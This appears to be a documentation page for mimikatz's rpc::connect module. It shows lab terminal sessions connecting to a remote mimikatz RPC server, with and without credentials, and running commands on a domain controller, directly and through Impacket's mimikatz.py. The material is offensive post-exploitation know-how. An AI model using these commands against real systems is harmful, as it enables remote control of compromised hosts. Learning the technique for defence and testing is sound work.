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connect

rpc::connect can be used to connect to an RPC endpoint. It has the following command line arguments:

  • /alg: the encryption algorithm to use for the connection. The options are 3DES or RC4. By default it uses 3DES.
  • /remote: the RPC server to connect
  • /noauth: no authentication is required to connect to the remote RPC endpoint
  • /authuser: the user for authentication
  • /authdomain: the domain of the authuser
  • /authpassword: the authuser's password

{% tabs %} {% tab title="Without authentication" %} Mimikatz can connect to an RPC server without authentication.

mimikatz # rpc::connect /remote:192.168.0.224 /noauth
[rpc] Remote   : 192.168.0.224
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] Endpoint : (null)
[rpc] Service  : (null)
[rpc] AuthnSvc : NONE (0)
[rpc] NULL Sess: no
Algorithm: CALG_3DES (00006603)
Endpoint resolution is OK
mimikatz is bound!

{% endtab %}

{% tab title="With authentication" %} Mimikatz can connect to an RPC server requiring authentication, the auth* arguments are needed.

mimikatz # rpc::connect /remote:192.168.0.224 /authuser:m3g9tr0n /authdomain:hacklab.local /authpassword:Super_SecretPass!
[rpc] Remote   : 192.168.0.224
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] Endpoint : (null)
[rpc] Service  : (null)
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
[rpc] NULL Sess: no
Algorithm: CALG_3DES (00006603)
Endpoint resolution is OK
mimikatz is bound!

{% endtab %} {% endtabs %}

To run commands on the remote server through the session initiated with mimikatz, a wildcard (*) should prepend the commands.

mimikatz # hostname
Win10.hacklab.local (WIN10)

mimikatz # *hostname
DC.hacklab.local (DC)

The mimikat​z.py from Impacket can also be used to connect to it.

{% tabs %} {% tab title="Without authentication" %} Without supplying credentials, mimikatz.py will attempt to start an unauthenticated session.

# python3 mimikatz.py 192.168.0.224                                                                                                                                                                                                     1 ⨯
Impacket v0.9.24.dev1+20210922.102044.c7bc76f8 - Copyright 2021 SecureAuth Corporation


  .#####.   mimikatz RPC interface
 .## ^ ##.  "A La Vie, A L' Amour "
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Impacket client by Alberto Solino (@agsolino)    * * */


Type help for list of commands
mimikatz # hostname
DC.hacklab.local (DC)

{% endtab %}

{% tab title="With authentication" %} If the remote RPC endpoint requires authentication, mimikatz.py will need credentials.

# python3 mimikatz.py hacklab.local/m3g9tr0n:[email protected]
Impacket v0.9.24.dev1+20210922.102044.c7bc76f8 - Copyright 2021 SecureAuth Corporation


  .#####.   mimikatz RPC interface
 .## ^ ##.  "A La Vie, A L' Amour "
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Impacket client by Alberto Solino (@agsolino)    * * */


Type help for list of commands
mimikatz # hostname
DC.hacklab.local (DC)

{% endtab %} {% endtabs %}